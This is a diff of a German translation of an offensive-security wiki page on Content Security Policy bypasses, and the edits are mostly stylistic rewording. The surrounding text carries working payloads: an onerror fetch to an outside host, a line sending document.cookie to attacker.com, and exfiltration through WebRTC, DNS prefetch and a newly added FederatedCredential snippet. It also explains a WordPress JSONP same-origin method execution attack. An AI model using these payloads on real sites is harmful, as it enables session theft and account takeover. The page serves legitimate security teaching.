Es ist interessant zu beachten, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen im Umgang mit iframes in Bezug auf CSP haben, was zu potenziellem Leck von sensiblen Informationen aufgrund undefinierten Verhaltens führen kann.
|
||||
|
||||
Eine weitere Technik besteht darin, die CSP selbst auszunutzen, um die geheime Subdomain abzuleiten. Diese Methode basiert auf einem binären Suchalgorithmus und der Anpassung der CSP, um spezifische Domains einzuschließen, die absichtlich blockiert sind. Wenn die geheime Subdomain aus unbekannten Zeichen besteht, kann man iterativ verschiedene Subdomains testen, indem man die CSP-Direktive ändert, um diese Subdomains zu blockieren oder zuzulassen. Hier ist ein Snippet, das zeigt, wie die CSP eingerichtet werden könnte, um diese Methode zu erleichtern:
|
||||
```markdown
|
||||
@ -604,13 +604,13 @@ Laut der [**letzten Technik, die in diesem Video kommentiert wurde**](https://ww
|
||||
### PHP-Antwortpufferüberlastung
|
||||
|
||||
PHP ist bekannt dafür, die Antwort standardmäßig auf **4096** Bytes zu **puffern**. Daher, wenn PHP eine Warnung anzeigt, wird die **Antwort** **gesendet**, **bevor** der **CSP-Header** gesendet wird, was dazu führt, dass der Header ignoriert wird.\
|
||||
Die Technik besteht also im Wesentlichen darin, den **Antwortpuffer mit Warnungen zu füllen**, sodass der CSP-Header nicht gesendet wird.
|
||||
Die Technik besteht also im Wesentlichen darin, den Antwortpuffer mit Warnungen zu **füllen**, sodass der CSP-Header nicht gesendet wird.
|
||||
|
||||
Idee von [**diesem Bericht**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
Idee von [**diesem Writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Fehlerseite umschreiben
|
||||
|
||||
Von [**diesem Bericht**](https://blog.ssrf.kr/69) sieht es so aus, als wäre es möglich gewesen, einen CSP-Schutz zu umgehen, indem man eine Fehlerseite (möglicherweise ohne CSP) lädt und deren Inhalt umschreibt.
|
||||
Von [**diesem Writeup**](https://blog.ssrf.kr/69) sieht es so aus, als wäre es möglich gewesen, einen CSP-Schutz zu umgehen, indem man eine Fehlerseite (möglicherweise ohne CSP) lädt und deren Inhalt umschreibt.
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME ist eine Technik, die ein XSS (oder stark eingeschränktes XSS) **in einem Endpunkt einer Seite** ausnutzt, um **andere Endpunkte derselben Herkunft zu missbrauchen.** Dies geschieht, indem der anfällige Endpunkt von einer Angreiferseite geladen und dann die Angreiferseite auf den echten Endpunkt derselben Herkunft, den Sie missbrauchen möchten, aktualisiert wird. Auf diese Weise kann der **anfällige Endpunkt** das **`opener`**-Objekt im **Payload** verwenden, um auf das DOM des **echten Endpunkts, den man missbrauchen möchte**, zuzugreifen. Für weitere Informationen siehe:
|
||||
SOME ist eine Technik, die ein XSS (oder stark eingeschränktes XSS) **in einem Endpunkt einer Seite** ausnutzt, um **andere Endpunkte derselben Herkunft zu missbrauchen.** Dies geschieht, indem der anfällige Endpunkt von einer Angreiferseite geladen und dann die Angreiferseite auf den echten Endpunkt derselben Herkunft, den man missbrauchen möchte, aktualisiert wird. Auf diese Weise kann der **anfällige Endpunkt** das **`opener`**-Objekt im **Payload** verwenden, um auf das DOM des **echten Endpunkts, den man missbrauchen möchte,** zuzugreifen. Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
@ -627,16 +627,16 @@ SOME ist eine Technik, die ein XSS (oder stark eingeschränktes XSS) **in einem
|
||||
|
||||
Darüber hinaus hat **wordpress** einen **JSONP**-Endpunkt in `/wp-json/wp/v2/users/1?_jsonp=data`, der die **Daten** im Output **reflektiert** (mit der Einschränkung auf Buchstaben, Zahlen und Punkte).
|
||||
|
||||
Ein Angreifer kann diesen Endpunkt ausnutzen, um einen **SOME-Angriff** gegen WordPress zu **generieren** und ihn in `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` einzubetten. Beachten Sie, dass dieses **Script** **geladen** wird, da es **von 'self'** **erlaubt** ist. Darüber hinaus, und da WordPress installiert ist, könnte ein Angreifer den **SOME-Angriff** über den **anfälligen** **Callback**-Endpunkt ausnutzen, der die CSP **umgeht**, um einem Benutzer mehr Privilegien zu gewähren, ein neues Plugin zu installieren...\
|
||||
Ein Angreifer kann diesen Endpunkt ausnutzen, um einen **SOME-Angriff** gegen WordPress zu **generieren** und ihn in `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` einzubetten. Beachte, dass dieses **Script** **geladen** wird, weil es **von 'self'** erlaubt ist. Darüber hinaus, und weil WordPress installiert ist, könnte ein Angreifer den **SOME-Angriff** über den **anfälligen** **Callback**-Endpunkt ausnutzen, der die CSP **umgeht**, um einem Benutzer mehr Privilegien zu geben, ein neues Plugin zu installieren...\
|
||||
Für weitere Informationen darüber, wie man diesen Angriff durchführt, siehe [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
|
||||
Wenn es eine strenge CSP gibt, die Ihnen nicht erlaubt, **mit externen Servern zu interagieren**, gibt es einige Dinge, die Sie immer tun können, um die Informationen zu exfiltrieren.
|
||||
Wenn es eine strenge CSP gibt, die es dir nicht erlaubt, **mit externen Servern zu interagieren**, gibt es einige Dinge, die du immer tun kannst, um die Informationen zu exfiltrieren.
|
||||
|
||||
### Location
|
||||
|
||||
Sie könnten einfach die Location aktualisieren, um die geheimen Informationen an den Server des Angreifers zu senden:
|
||||
Du könntest einfach die Location aktualisieren, um die geheimen Informationen an den Server des Angreifers zu senden:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
document.location = "https://attacker.com/?" + sessionid
|
||||
@ -674,7 +674,7 @@ Um dies zu vermeiden, kann der Server den HTTP-Header senden:
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
> [!NOTE]
|
||||
> Offensichtlich funktioniert diese Technik nicht in headless Browsers (Bots)
|
||||
> Offensichtlich funktioniert diese Technik nicht in headless-Browsern (Bots)
|
||||
|
||||
### WebRTC
|
||||
|
||||
@ -700,6 +700,19 @@ var pc = new RTCPeerConnection({
|
||||
});
|
||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
Das Anmeldefenster sendet eine DNS-Anfrage an die iconURL, ohne durch die Seite eingeschränkt zu werden. Es funktioniert nur in einem sicheren Kontext (HTTPS) oder auf localhost.
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
id:"satoki",
|
||||
name:"satoki",
|
||||
provider:"https:"+your_data+"example.com",
|
||||
iconURL:"https:"+your_data+"example.com"
|
||||
})
|
||||
)
|
||||
```
|
||||
## Überprüfung von CSP-Richtlinien online
|
||||
|
||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user